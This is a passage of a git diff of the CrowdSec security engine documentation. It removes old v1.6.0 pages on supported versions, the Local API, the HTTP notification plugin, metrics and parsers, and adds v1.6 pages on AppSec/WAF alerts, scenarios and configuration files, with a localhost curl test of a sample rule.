-The `Security Engine` comes compiled with a number of optional features that can be enabled or disabled at runtime. One of these features is called the "LAPI" (Local API). If this feature is disabled at runtime, the Security Engine will be classed as a "log processor" within the console as it will only be able to process logs and forward the alerts to the local API you define in the configuration.
-
-Most commonly this is the case when you are running in a distributed setup, where you have a central server that is running the LAPI and a number of remote servers that are running the "Log processors".
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/versions_matrix.md b/crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/versions_matrix.md
deleted file mode 100644
index 933055d9a..000000000
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/versions_matrix.md
+++ /dev/null
@@ -1,126 +0,0 @@
----
-id: versions_matrix
-title: Versions Matrix
-sidebar_position: 1
----
-# Versions matrix
-
-## Maintenance policy
-
-The last two releases are supported, see [releases page](https://github.com/crowdsecurity/crowdsec/releases) for more details.
-
-LTS versioning is not yet defined, but we are working on it.
-
-:::info
-Crowdsec is open-source, and as such, we may not be aware of all the channels of crowdsec distribution. Our official distribution channel is packagecloud.io for packages, and github
-:::
-
-## Matrix Versions
-
-| OS | Platform | Distribution | Distribution Version | CrowdSec Version | CrowdSec Location |
-|----|----------|--------------|------------------|----------------------|-------------------|
-| [Linux](/getting_started/install.mdx) | amd64/arm64/armhf | Debian | bookworm/bullseye/buster/stretch | 1.6.0 and 1.5.5 | [packagecloud](https://packagecloud.io/crowdsec/crowdsec) |
-| [Linux](/getting_started/install.mdx) | amd64/arm64 | RedHat/CentOS | 6/7/8/9 | 1.6.0 and 1.5.5 | [packagecloud](https://packagecloud.io/crowdsec/crowdsec) |
-| [Linux](/getting_started/install.mdx) | amd64/arm64 | Oracle Linux | 7/8/9 | 1.6.0 and 1.5.5 | [packagecloud](https://packagecloud.io/crowdsec/crowdsec) |
-| [Linux](/getting_started/install.mdx) | amd64/arm64/armel/armhf/i386/mips64el/mipsel/ppc64el/s390x | Debian | 1.4.6 | [official debian repository](https://packages.debian.org/search?keywords=crowdsec&searchon=names&suite=stable§ion=all) |
-| [Linux](/getting_started/install.mdx) | amd64/arm64 | Fedora | 38/39 | 1.6.0 (and 1.5.5 only for fc39) | [packagecloud](https://packagecloud.io/crowdsec/crowdsec) |
-| [Linux](/getting_started/install.mdx) | amd64/arm64 | Amazon linux | 2 | 1.6.0 and 1.5.5 | [packagecloud](https://packagecloud.io/crowdsec/crowdsec) |
-| [Linux](/getting_started/install.mdx) | amd64/arm64 | Ubuntu Linux| 16.04/18.04/20.04/22.04/22.10 | 1.6.0 and 1.5.5| [packagecloud](https://packagecloud.io/crowdsec/crowdsec) |
-| [FreeBSD](/getting_started/install_freebsd.md) | amd64/i386 | N/A | 12 | 1.5.4 | [freshports](https://www.freshports.org/security/crowdsec/) |
-| [FreeBSD](/getting_started/install_freebsd.md) | amd64/i386/arm64/armv7 | N/A | 13 | 1.5.4 | [freshports](https://www.freshports.org/security/crowdsec/) |
-| [FreeBSD](/getting_started/install_freebsd.md) | amd64/i386 | N/A | 14 | 1.5.4 | [freshports](https://www.freshports.org/security/crowdsec/) |
-| [FreeBSD](/getting_started/install_freebsd.md) | arm64/armv7 | N/A | 14 | 1.5.4 | [freshports](https://www.freshports.org/security/crowdsec/) |
-| [OPNsense](/getting_started/install_opnsense.md) | amd64 | N/A | 23.7 | 1.5.4 | [freshports](https://www.freshports.org/security/crowdsec/) |
-| [Windows](/getting_started/getting_started_on_windows.md) | amd64 | to be defined | 1.6.0 | [github releases](https://github.com/crowdsecurity/crowdsec/releases/tag/v1.6.°)|
-| [Windows](/getting_started/getting_started_on_windows.md) | amd64 | to be defined | 1.4.2 | [chocolatey](https://community.chocolatey.org/packages?q=crowdsec) |
-| Linux | almost all OpenWRT supported platform | OpenWRT | 23.05 | 1.5.4 | [OpenWrt repository](https://openwrt.org/packages/pkgdata/crowdsec) |
-| Linux/Windows | amd64/arm64 | docker | N/A | 1.5.4 | [dockerhub](https://hub.docker.com/r/crowdsecurity/crowdsec) |
-| home assistant | amd64/arm64 | docker | N/A | 1.6.0 | [crowdsecurity home assistant addon repo](https://github.com/crowdsecurity/home-assistant-addons/)|
-| helm chart | amd64/arm64 | helm | N/A | 1.6.0 | [helm chart](https://github.com/crowdsecurity/helm-charts) |
-
-
-Note: There is a subtile difference between armel, armhf and armv7:
-armel and armhf are the ports name defined by debian, armel is
-available on armv6 capable processer and higher, and armhf is
-available on armv7 capable and higher.
-
-Linux
-=====
-
-Linux packages are maintained by CrowdSec and shipped through
-packagecloud.io repositories. Issues for packages have to be created
-directly against the [crowdsec source
-repository](https://github.com/crowdsecurity/crowdsec). Packages are
-published automatically few hours after each new releases.
-
-There are two public repositories:
-* [pkgcloud.io stable repository](https://packagecloud.io/crowdsec/) for published release
-* [pkgcloud.io beta repository](https://packagecloud.io/crowdsec-testing/) for published release
-
-Note: There is a version on official debian repository as well.
-
-
-FreeBSD
-=======
-
-FreeBSD ports are updated via requests to https://bugs.freebsd.org/bugzilla/
-
-Anybody can open issues or even updates but most packages have an official maintainer (@mmetc for crowdsec).
-Issues are reviewed by maintainers, then by committers or by the ports management team.
-A proper review process is in place therefore updates can take a few days.
-
-To see pending issues related to crowdsec or the bouncers, search "crowdsec".
-To see closed issues as well, search for "ALL crowdsec"
-
-The state of the packages for the several FreeBSD versions and architectures can be seen at https://www.freshports.org/
-
-Usually packages apprear in the repository updates (quarterly or latest), but
-if required they can be installed directly, for example:
-
-$ pkg add https://pkg.freebsd.org/FreeBSD:12:amd64/latest/All/crowdsec-1.4.3.pkg
-
-The repository for work-in-progress ports is
-https://github.com/crowdsecurity/packaging-freebsd, once tested they are
-submitted in bugzilla.
-
-The following packages have been ported so far:
-
- - CrowdSec - https://github.com/freebsd/freebsd-ports/tree/main/security/crowdsec [1]
- packages: https://www.freshports.org/security/crowdsec/
-
- - Firewall Bouncer - https://github.com/freebsd/freebsd-ports/tree/main/security/crowdsec-firewall-bouncer
- packages: https://www.freshports.org/security/crowdsec-firewall-bouncer/
-
- - Blocklist Mirror - https://github.com/freebsd/freebsd-ports/tree/main/security/crowdsec-blocklist-mirror
- packages: https://www.freshports.org/security/crowdsec-blocklist-mirror
-
-
-[1] read-only mirror of https://cgit.freebsd.org/ports/
-also on https://gitlab.com/FreeBSD/freebsd-ports
-
-
-OPNsense
-========
-
-OPNsense has its own port tree, which tracks the main branch from
-freebsd: https://github.com/opnsense/ports Updates are frequent (often
-daily) but can be delayed for code freeze or holidays. The source of
-the crowdsec plugin is in
-https://github.com/opnsense/plugins/tree/master/security/crowdsec and
-it depends on the crowdsec and firewall bouncer packages. New
-versions are pushed via pull requests on the github repository.
-
-Windows
-=======
-
-CrowdSec Windows releases are available for download few minutes after
-releasing directly on the [release page of
-github](https://github.com/crowdsecurity/crowdsec/releases).
-
-We do our best to keep an up to date version in [chocolatey
-repository](https://community.chocolatey.org/packages?q=crowdsec) as
-well. It has go through a moderation process, so we don't have any
-grasp on the publication timeline.
-
-Issues have to be filed directly against the [crowdsec source
-repository](https://github.com/crowdsecurity/crowdsec)
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/local_api/intro.md b/crowdsec-docs/versioned_docs/version-v1.6.0/local_api/intro.md
deleted file mode 100644
index 268bc77b0..000000000
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/local_api/intro.md
+++ /dev/null
@@ -1,121 +0,0 @@
----
-id: intro
-title: Introduction
-sidebar_position: 1
----
-
-# Local API
-
-The Local API (LAPI) is a core component of CrowdSec to :
-
- - Allow CrowdSec machines to push alerts & decisions to a database
- - Allow bouncers to consume said alerts & decisions from database
- - Allow `cscli` to view add or delete decisions
-
-You can find the swagger documentation [here](https://crowdsecurity.github.io/api_doc/lapi/).
-
-This allows you to create [multi-machines architectures](https://crowdsec.net/multi-server-setup/) around CrowdSec or leverage [orchestration technologies](https://crowdsec.net/secure-docker-compose-stacks-with-crowdsec/).
-
-## Authentication
-
-There are three kinds of authentication to the Local API :
-
- - Bouncers: they authenticate with a simple API key and can only read decisions
-
- - Machines: they authenticate with a login and password and can not only read decisions, but create new ones too
-
- - TLS client certificates: it allows you to connect new bouncers or machines to the local API without registring them first
-
-
-### Bouncers
-
-To register a bouncer to your API, you need to run the following command on the server where the API is installed:
-
-```bash
-sudo cscli bouncers add testBouncer
-```
-
-and keep the generated API token to use it in your bouncers configuration file.
-
-See [here](/local_api/tls_auth.md) for the documentation about TLS authentication.
-
-### Machines
-
-To allow a machine to communicate with the Local API, the machine needs to be validated by an administrator of the Local API.
-
-There are two ways to register a CrowdSec to a Local API.
-
-* You can create a machine directly on the API server that will be automatically validated by running the following command on the server where the API is installed:
-
-```bash
-sudo cscli machines add testMachine
-```
-
-If your CrowdSec runs on the same server as the Local API, then your credentials file will be generated automatically, otherwise you will have to copy/paste them in your remote CrowdSec credentials file (`/etc/crowdsec/local_api_credentials.yaml`)
-
-* You can use `cscli` to register to the API server:
-
-```bash
-sudo cscli lapi register -u
-```
-
-And validate it with `cscli` on the server where the API is installed:
-
-```bash
-sudo cscli machines validate
-```
-
-:::info
-You can use `cscli machines list` to list all the machines registered to the API and view the ones that are not validated yet.
-:::
-
-See [here](/local_api/tls_auth.md) for the documentation about TLS authentication.
-
-## Configuration
-
-### Client
-
-By default, `crowdsec` and `cscli` use `127.0.0.1:8080` as the default Local API. However you might want to use a remote API and configure a different endpoint for your api client.
-
-#### Register to a Remote API server
-
-* On the remote CrowdSec server, run:
-
-```bash
-sudo cscli lapi register -u http://:
-```
-
-* On the Local API server, validate the machine by running the command:
-
-
-```bash
-sudo cscli machines list # to get the name of the new registered machine
-```
-
-```bash
-sudo cscli machines validate
-```
-
-
-### Server
-
-#### Configure listen URL
-
-If you would like your Local API to be used by a remote CrowdSec installation, you will need to modify the URL it listens on.
-Modify the [`listen_uri` option](/configuration/crowdsec_configuration.md#listen_uri) in the main configuration file.
-Then see [how to configure your crowdsec to use a remote API](/u/user_guides/machines_mgmt).
-
-
-#### Enable SSL
-
-The most common use case of the Local API is to listen on 127.0.0.1. In that case there's no need for
-configuring any ssl layer. In some cases, the local API will listen for other CrowdSec installations that
-will report their triggered scenarios. In that case the endpoint may be configured with ssl.
-You can see how to configure SSL on your Local API [here](/configuration/crowdsec_configuration.md#tls).
-
-You can also refer [here](/local_api/tls_auth.md) for the documentation about TLS authentication.
-
-
-See the [Local API public documentation](https://crowdsecurity.github.io/api_doc/lapi/).
-
-
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/http.md b/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/http.md
deleted file mode 100644
index 4cbedb2b0..000000000
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/http.md
+++ /dev/null
@@ -1,69 +0,0 @@
----
-id: http
-title: HTTP Plugin
----
-
-The HTTP plugin is by default shipped with your CrowdSec installation. The following guide shows how to enable it.
-
-## Enabling the plugin:
-
-In your profile file (by default `/etc/crowdsec/profiles.yaml`) , uncomment the section
-```
-#notifications:
-# - http_default
-```
-
-
-Every alert which would pass the profile's filter would be dispatched to `http_default` plugin.
-## Configuring the plugin:
-
-By default the configuration for HTTP plugin is located at `/etc/crowdsec/notifications/http.yaml`.
-Configure how to make web requests by providing the `url`, `method`, `headers` etc.
-
-### Adding the plugin configuration
-
-By default there would be a http config at `/etc/crowdsec/notifications/http.yaml`. Configure how to make web requests by providing the `url`, `method`, `headers` etc.
-
-Example config which posts the alerts serialized into json to localhost server.
-
-```yaml
-# Don't change this
-type: http
-
-name: http_default # this must match with the registered plugin in the profile
-log_level: info # Options include: trace, debug, info, warn, error, off
-
-format: | # This template receives list of models.Alert objects. The request body would contain this.
- {{.|toJson}}
-
-url: http://localhost # plugin will make requests to this url. Eg value https://www.example.com/
-
-method: POST # eg either of "POST", "GET", "PUT" and other http verbs is valid value.
-
-# headers:
-# Authorization: token 0x64312313
-
-# skip_tls_verification: # either true or false. Default is false
-
-# group_wait: # duration to wait collecting alerts before sending to this plugin, eg "30s"
-
-# group_threshold: # if alerts exceed this, then the plugin will be sent the message. eg "10"
-
-# max_retry: # number of tries to attempt to send message to plugins in case of error.
-
-# timeout: # duration to wait for response from plugin before considering this attempt a failure. eg "10s"
-
-```
-
-**Note** that the `format` is a [go template](https://pkg.go.dev/text/template), which is fed a list of [Alert](https://pkg.go.dev/github.com/crowdsecurity/crowdsec@master/pkg/models#Alert) objects.
-
-
-## Final Steps:
-
-Let's restart crowdsec
-
-```bash
-sudo systemctl restart crowdsec
-```
-
-You can verify whether the plugin is properly working by triggering scenarios using tools like wapiti, nikto etc.
\ No newline at end of file
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/observability/cscli.md b/crowdsec-docs/versioned_docs/version-v1.6.0/observability/cscli.md
deleted file mode 100644
index 61c701e5d..000000000
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/observability/cscli.md
+++ /dev/null
@@ -1,106 +0,0 @@
----
-id: cscli
-title: Cscli metrics
-sidebar_position: 2
----
-
-```bash
-sudo cscli metrics
-```
-
-This command provides an overview of CrowdSec statistics provided by [prometheus client](/observability/prometheus.md). By default it assumes that the CrowdSec is installed on the same machine.
-
-The metrics are split in 3 main sections :
-
- - Acquisition metrics : How many lines were read from which sources, how many were successfully or unsuccessfully parsed, and how many of those lines ultimately ended up being poured to a bucket.
- - Parser metrics : How many lines were fed (eligible) to each parser, and how many of those were successfully or unsuccessfully parsed.
- - Bucket metrics : How many time each scenario lead to a bucket instantiation, and for each of those :
- - how many times it overflowed
- - how many times it expired (underflows)
- - how many subsequent events were poured to said bucket
-
-:::tip
-These metrics should help you identify potential configuration errors.
-
-For example, if you have a source that has mostly unparsed logs, you might be missing some parsers.
-As well, if you have scenarios that are never instantiated, it might be a hint that they are not relevant to your configuration.
-
-Furthermore, you might see parsers called `child-` while calling `cscli metrics`. This correspond to all nodes belonging to a parser. Their metrics
-(HITS, PARSED, UNPARSED) are gather by default. If you want to identify metrics for a specific parser node, you just have to set a name for this node in your parser configuration.
-:::
-
-:::warning
-
-When viewing those metrics, keep in mind that crowdsec will *only* parse log lines that are relevant to scenarios.
-For example, [sshd-logs parser](https://hub.crowdsec.net/author/crowdsecurity/configurations/sshd-logs) only parses fail authentication logs, and will let successful login lines (and other logs) unparsed.
-
-:::
-
-
- cscli metrics example
-
-```bash
-sudo cscli metrics
-
-INFO[0000] Buckets Metrics:
-+--------------------------------------+---------------+-----------+--------------+--------+---------+
-| BUCKET | CURRENT COUNT | OVERFLOWS | INSTANCIATED | POURED | EXPIRED |
-+--------------------------------------+---------------+-----------+--------------+--------+---------+
-| crowdsecurity/http-bad-user-agent | - | - | 10 | 10 | 10 |
-| crowdsecurity/http-crawl-non_statics | - | - | 91 | 119 | 91 |
-| crowdsecurity/http-probing | - | - | 2 | 2 | 2 |
-| crowdsecurity/http-sensitive-files | - | - | 1 | 1 | 1 |
-| crowdsecurity/ssh-bf | 13 | 6314 | 8768 | 46772 | 2441 |
-| crowdsecurity/ssh-bf_user-enum | 6 | - | 7646 | 14406 | 7640 |
-+--------------------------------------+---------------+-----------+--------------+--------+---------+
-INFO[0000] Acquisition Metrics:
-+---------------------------+------------+--------------+----------------+------------------------+
-| SOURCE | LINES READ | LINES PARSED | LINES UNPARSED | LINES POURED TO BUCKET |
-+---------------------------+------------+--------------+----------------+------------------------+
-| /var/log/auth.log | 105476 | 46772 | 58704 | 61178 |
-| /var/log/messages | 2 | - | 2 | - |
-| /var/log/nginx/access.log | 138 | 111 | 27 | 100 |
-| /var/log/nginx/error.log | 312 | 68 | 244 | 32 |
-| /var/log/syslog | 31919 | - | 31919 | - |
-+---------------------------+------------+--------------+----------------+------------------------+
-INFO[0000] Parser Metrics:
-+--------------------------------+--------+--------+----------+
-| PARSERS | HITS | PARSED | UNPARSED |
-+--------------------------------+--------+--------+----------+
-| child-crowdsecurity/http-logs | 537 | 257 | 280 |
-| child-crowdsecurity/nginx-logs | 789 | 179 | 610 |
-| child-crowdsecurity/sshd-logs | 436048 | 46772 | 389276 |
-| crowdsecurity/dateparse-enrich | 46951 | 46951 | - |
-| crowdsecurity/geoip-enrich | 46883 | 46883 | - |
-| crowdsecurity/http-logs | 179 | 66 | 113 |
-| crowdsecurity/nginx-logs | 450 | 179 | 271 |
-| crowdsecurity/non-syslog | 450 | 450 | - |
-| crowdsecurity/sshd-logs | 104386 | 46772 | 57614 |
-| crowdsecurity/syslog-logs | 137397 | 137395 | 2 |
-| crowdsecurity/whitelists | 46951 | 46951 | - |
-+--------------------------------+--------+--------+----------+
-INFO[0000] Local Api Metrics:
-+----------------------+--------+------+
-| ROUTE | METHOD | HITS |
-+----------------------+--------+------+
-| /v1/alerts | GET | 4 |
-| /v1/alerts | POST | 5400 |
-| /v1/decisions/stream | GET | 7694 |
-| /v1/watchers/login | POST | 27 |
-+----------------------+--------+------+
-INFO[0000] Local Api Machines Metrics:
-+----------------------------------+------------+--------+------+
-| MACHINE | ROUTE | METHOD | HITS |
-+----------------------------------+------------+--------+------+
-| 7f0607a3469243139699bf2f30321fc4 | /v1/alerts | GET | 4 |
-| 7f0607a3469243139699bf2f30321fc4 | /v1/alerts | POST | 5400 |
-+----------------------------------+------------+--------+------+
-INFO[0000] Local Api Bouncers Metrics:
-+------------------------------+----------------------+--------+------+
-| BOUNCER | ROUTE | METHOD | HITS |
-+------------------------------+----------------------+--------+------+
-| cs-firewall-bouncer-n3W19Qua | /v1/decisions/stream | GET | 7694 |
-+------------------------------+----------------------+--------+------+
-
-```
-
\ No newline at end of file
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/parsers/introduction.mdx b/crowdsec-docs/versioned_docs/version-v1.6.0/parsers/introduction.mdx
deleted file mode 100644
index 11d4728c0..000000000
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/parsers/introduction.mdx
+++ /dev/null
@@ -1,64 +0,0 @@
----
-id: intro
-title: Introduction
-sidebar_position: 1
----
-
-import useBaseUrl from '@docusaurus/useBaseUrl';
-
-
-## Parser
-
-
-A parser is a YAML configuration file that describes how a string must be parsed. Said string can be a log line, or a field extracted from a previous parser.
-
-While a lot of parsers rely on the **GROK** approach (a.k.a regular expression named capture groups), parsers can also use [expressions](/expr/intro.md) to perform parsing on specific data (ie. json), [refer to external methods for enrichment](https://hub.crowdsec.net/author/crowdsecurity/configurations/geoip-enrich) or even [perform whitelisting](https://hub.crowdsec.net/author/crowdsecurity/configurations/whitelists.md).
-
-The [event](/expr/event.md) enters the parser, and might exit successfully or not:
-
-
-
-
-
-
-
-
-
-## Stages
-
-Parsers are organized into stages to allow pipelines and branching in parsing. An event can go to the next stage if at least one parser in the given stage parsed it successfully while having `onsuccess` set to `next_stage`. Otherwise, the event is considered unparsed and will exit the pipeline (and be discarded):
-
-
-
-
-
-
-
-Each parser can add, change or even delete data from the event. The current approach is:
- - `s00-raw`: takes care of the overall log structure (ie. extract log lines from JSON blob, [parse syslog protocol](https://hub.crowdsec.net/author/crowdsecurity/configurations/syslog-logs) info)
- - `s01-parse`: parses the *actual* log line ([ssh](https://hub.crowdsec.net/author/crowdsecurity/configurations/sshd-logs), [nginx](https://hub.crowdsec.net/author/crowdsecurity/configurations/nginx-logs) etc.)
- - `s02-enrich`: does some post processing, such as [geoip-enrich](https://hub.crowdsec.net/author/crowdsecurity/configurations/geoip-enrich) or post-parsing of [http events to provide more context](https://hub.crowdsec.net/author/crowdsecurity/configurations/http-logs)
-
-
-Once an event has successfully exited the parsing pipeline, it is ready to be matched against scenarios. As you might expect, each parser relies on the information that is parsed during previous stages.
-
-## Postoverflows
-
-Once a scenario overflows, the resulting event is going to be processed by a distinct set of parsers, called "postoverflows".
-
-Those parsers are located in `/etc/crowdsec/postoverflows/` and typically contain additional whitelists, a [common example is to whitelist decisions coming from some specific FQDN](https://hub.crowdsec.net/author/crowdsecurity/collections/whitelist-good-actors).
-
-Usually, those parsers should be kept for "expensive" parsers that might rely on external services.
-
-----
-
-
-
-See the [Hub](https://hub.crowdsec.net/browse/#configurations) to explore parsers, or see below some examples:
-
- - [apache2 access/error log parser](https://github.com/crowdsecurity/hub/blob/master/parsers/s01-parse/crowdsecurity/apache2-logs.yaml)
- - [iptables logs parser](https://github.com/crowdsecurity/hub/blob/master/parsers/s01-parse/crowdsecurity/iptables-logs.yaml)
- - [http logs post-processing](https://github.com/crowdsecurity/hub/blob/master/parsers/s02-enrich/crowdsecurity/http-logs.yaml)
-
-The parsers usually reside in `/etc/crowdsec/parsers//`.
-
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/appsec/alerts_and_scenarios.md b/crowdsec-docs/versioned_docs/version-v1.6/appsec/alerts_and_scenarios.md
new file mode 100644
index 000000000..b461b08f2
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/appsec/alerts_and_scenarios.md
@@ -0,0 +1,155 @@
+---
+id: alerts_and_scenarios
+title: Alerts & Scenarios
+sidebar_position: 5
+---
+
+## Generated Events Layout
+
+HTTP requests that trigger _In-Band_ or _Out-Of-Band_ AppSec/WAF rules generate events. These events can trigger scenarios that react by banning or alerting when rules are matched.
+
+The [`crowdsecurity/appsec-logs` parser](https://app.crowdsec.net/hub/author/crowdsecurity/configurations/appsec-logs) is designed as a general-purpose tool to convert events into a format that is easier to process with scenarios.
+
+
+The generated event looks like this:
+
+ - `evt.Meta.service` is set to `appsec`
+ - `evt.Meta.log_type`:
+ - `appsec-block` for blocked requests (_In-Band_ rule matched, for example)
+ - `appsec-info` for requests that triggered _Out-Of-Band_ rule (not blocked)
+ - `evt.Meta.source_ip` is set to the source (client) IP
+ - `evt.Meta.target_host` is set to the FQDN if present (`Host` header in the HTTP request)
+ - `evt.Meta.target_uri` is set to the complete URI of the HTTP request
+ - `evt.Meta.rule_name` is set to the name of the triggered rule
+ - `evt.Meta.remediation_cmpt_ip` is set to the IP of the Remediation Component (Bouncer) that sent the HTTP request.
+
+:::info
+The [`crowdsecurity/appsec-logs` parser](https://app.crowdsec.net/hub/author/crowdsecurity/configurations/appsec-logs) is already part of the generic AppSec/WAF collections and doesn't have to be manually installed.
+:::
+
+
+## Creating Scenario Based on AppSec/WAF Events
+
+### Triggering on _In-Band_ Rules
+
+A simple yexample is the [`crowdsecurity/appsec-vpatch` scenario](https://app.crowdsec.net/hub/author/crowdsecurity/configurations/appsec-vpatch) that will ban IPs triggering two distinct _In-Band_ rules:
+
+```yaml title="/etc/crowdsec/scenarios/appsec-vpatch.yaml"
+type: leaky
+name: crowdsecurity/appsec-vpatch
+filter: "evt.Meta.log_type == 'appsec-block'"
+distinct: evt.Meta.rule_name
+leakspeed: "60s"
+capacity: 1
+groupby: evt.Meta.source_ip
+...
+```
+
+:::info
+The [`crowdsecurity/appsec-vpatch` scenario](https://app.crowdsec.net/hub/author/crowdsecurity/configurations/appsec-vpatch) is already part of the generic AppSec/WAF collections, and doesn't have to be manually installed.
+:::
+
+### Triggering on Out-Of-Band Rules
+
+Let's try to solve an imaginary scenario:
+
+> We aim to prevent users from enumerating certain URLs (specifically, those that begin with `/foobar/*`) when a particular HTTP header is present (`something: *test*`). However, we want to impose this restriction only on users attempting to access two or more distinct `/foobar/*` URLs while this header is set.
+
+:::info
+Keep in mind that _Out-Of-Band_ rules will generate an event instead of blocking the HTTP Request.
+:::
+
+#### The AppSec/WAF Rule
+
+This is our AppSec/WAF rule:
+
+```yaml title="/etc/crowdsec/appsec-rules/foobar-access.yaml"
+name: crowdsecurity/foobar-access
+description: "Detect access to foobar files with the something header set"
+rules:
+ - zones:
+ - URI
+ transform:
+ - lowercase
+ match:
+ type: startsWith
+ value: /foobar/
+ - zones:
+ - HEADERS
+ variables:
+ - something
+ transform:
+ - lowercase
+ match:
+ type: contains
+ value: test
+```
+
+Let ensure it's loaded as an _Out-Of-Band_ rule, first by creating a new appsec-config:
+
+```yaml title="/etc/crowdsec/appsec-configs/appsec-oob.yaml"
+name: crowdsecurity/appsec-oob
+default_remediation: ban
+#Let's add our rule as an out-of-band rule
+outofband_rules:
+ - crowdsecurity/foobar-access
+```
+
+And then make sure this appsec-config is loaded:
+
+```yaml title="/etc/crowdsec/acquis.d/appsec.yaml"
+appsec_configs:
+ - crowdsecurity/appsec-default
+ - crowdsecurity/appsec-oob
+labels:
+ type: appsec
+listen_addr: 127.0.0.1:7422
+source: appsec
+```
+
+#### The Scenario
+
+We can now create a scenario that will trigger when a single IPs triggers this rule on distinct URLs:
+
+```yaml title="/etc/crowdsec/scenarios/foobar-enum.yaml"
+type: leaky
+format: 3.0
+name: crowdsecurity/foobar-enum
+description: "Ban IPs repeateadly triggering out of band rules"
+filter: "evt.Meta.log_type == 'appsec-info' && evt.Meta.rule_name == 'crowdsecurity/foobar-access'"
+distinct: evt.Meta.target_uri
+leakspeed: "60s"
+capacity: 1
+groupby: evt.Meta.source_ip
+blackhole: 1m
+labels:
+ remediation: true
+```
+
+:::info
+The `filter` ensures only _Out-Of-Band_ events generated by our scenario are picked up, while the `capacity: 1` and `distinct: evt.Meta.target_uri` will ensure that the IP has to trigger the rule on at least 2 distinct URLs to trigger the scenario.
+:::
+
+#### Testing
+
+Let's now test our setup:
+
+```bash
+$ curl -I localhost/foobar/1 -H 'something: test'
+HTTP/1.1 404 Not Found
+
+$ curl -I localhost/foobar/2 -H 'something: test'
+HTTP/1.1 404 Not Found
+
+$ curl -I localhost/foobar/3 -H 'something: test'
+HTTP/1.1 403 Forbidden
+```
+
+And CrowdSec logs will show:
+
+```
+INFO[2024-12-02T15:28:16+01:00] Ip ::1 performed 'crowdsecurity/foobar-enum' (2 events over 4.780233613s) at 2024-12-02 14:28:16.858419797 +0000 UTC
+INFO[2024-12-02T15:28:17+01:00] (test/crowdsec) crowdsecurity/foobar-enum by ip ::1 (/0) : 4h ban on Ip ::1
+```
+
+As expected, the first two requests were processed without being blocked. The second one triggered the scenario, resulting in the third request being blocked by the bouncer.
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/appsec/benchmark.md b/crowdsec-docs/versioned_docs/version-v1.6/appsec/benchmark.md
similarity index 97%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/appsec/benchmark.md
rename to crowdsec-docs/versioned_docs/version-v1.6/appsec/benchmark.md
index 61410248e..a6181447c 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/appsec/benchmark.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/appsec/benchmark.md
@@ -1,6 +1,6 @@
---
id: benchmark
-title: Benchmark
+title: WAF Component Benchmark
sidebar_position: 80
---
@@ -33,8 +33,8 @@ The benchmarks cover the following tests:
Each test has been run with multiple cases:
- Application Security Component enabled but without any rules
-- Application Security Component enabled with 100 vpatch rules (in inband)
-- Application Security Component enabled with all the CRS (in inband)
+- Application Security Component enabled with 100 vpatch rules (in in-band)
+- Application Security Component enabled with all the CRS (in in-band)
On the system, we deployed:
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/appsec/configuration.md b/crowdsec-docs/versioned_docs/version-v1.6/appsec/configuration.md
new file mode 100644
index 000000000..e612a6435
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/appsec/configuration.md
@@ -0,0 +1,417 @@
+---
+id: configuration
+title: Configurations Files
+sidebar_position: 6
+---
+
+## Overview
+
+This page explains the interraction between various files involved in AppSec configuration and the details about the processing pipeline AppSec request processing.
+
+**Prerequisites**:
+- Familiarity with [AppSec concepts](/appsec/intro.md)
+- Basic AppSec setup completed (see Getting Started guides)
+
+The AppSec Component configuration consists of three main parts:
+
+ - **[Acquisition configuration](/log_processor/data_sources/appsec.md)**: Defines which port the AppSec Component listens on and which AppSec configurations files to load
+ - **AppSec configurations**: Define which rules are loaded and how they behave, along with [hooks](/appsec/hooks.md) for runtime customization
+ - **[AppSec rules](/appsec/rules_syntax.md)**: The actual detection signatures that identify and block malicious requests
+
+## AppSec Acquisition
+
+The goals of the acquisition file are:
+- To specify the **address** and **port** where the AppSec-enabled Remediation Component(s) will forward the requests to.
+- And specify one or more [AppSec configuration files](#appsec-configuration) to use as definition of what rules to apply and how.
+
+Details can be found in the [AppSec Datasource page](/log_processor/data_sources/apps).
+
+### Defining Multiple AppSec Configurations
+
+Often you will want to activate multiple AppSec configuration defining groups of rules that will be handled the same way.
+
+Use the `appsec_configs` *(with an S)* parameter to load multiple configurations that work together.
+
+In the following example we have two configurations:
+- One with [CrowdSec default AppSec rules ↗️](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-configurations/appsec-default) running in inband mode
+- The other for the [CRS rules ↗️](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-crs) that by default run in out of band mode.
+
+```yaml title="/etc/crowdsec/acquis.d/appsec.yaml"
+appsec_configs:
+ - crowdsecurity/appsec-default # In-band virtual patching
+ - crowdsecurity/crs # Out-of-band detection based on ModSec CRS - from crowdsecurity/appsec-crs collection
+labels:
+ type: appsec
+listen_addr: 127.0.0.1:7422
+source: appsec
+```
+
+:::info
+CrowdSec AppSec collections are available on [CrowdSec Hub ↗️](https://app.crowdsec.net/hub/collections?filters=search%3Dappsec) and kept up to date.
+
+For example the CRS collection: `sudo cscli collections install crowdsecurity/appsec-crs`.
+This collection installs OWASP CRS in out-of-band and adds a scenario to ban IPs triggering multiple rules.
+:::
+
+### Using Custom Configurations
+
+If you want to alter the default configuration files we recommend creating a new configuration files instead of modifying existing hub configurations.
+Modifying hub configurations will make them *tainted* and prevent automatic updates.
+
+For example, if you want to change the default vpatch rules config, create your own and use it instead in the acquisition file.
+
+```yaml title="/etc/crowdsec/acquis.d/appsec.yaml"
+appsec_configs:
+ - crowdsecurity/appsec-default
+ - custom/my_vpatch_rules
+labels:
+ type: appsec
+listen_addr: 127.0.0.1:7422
+source: appsec
+```
+
+A custom configuration file could look like this:
+
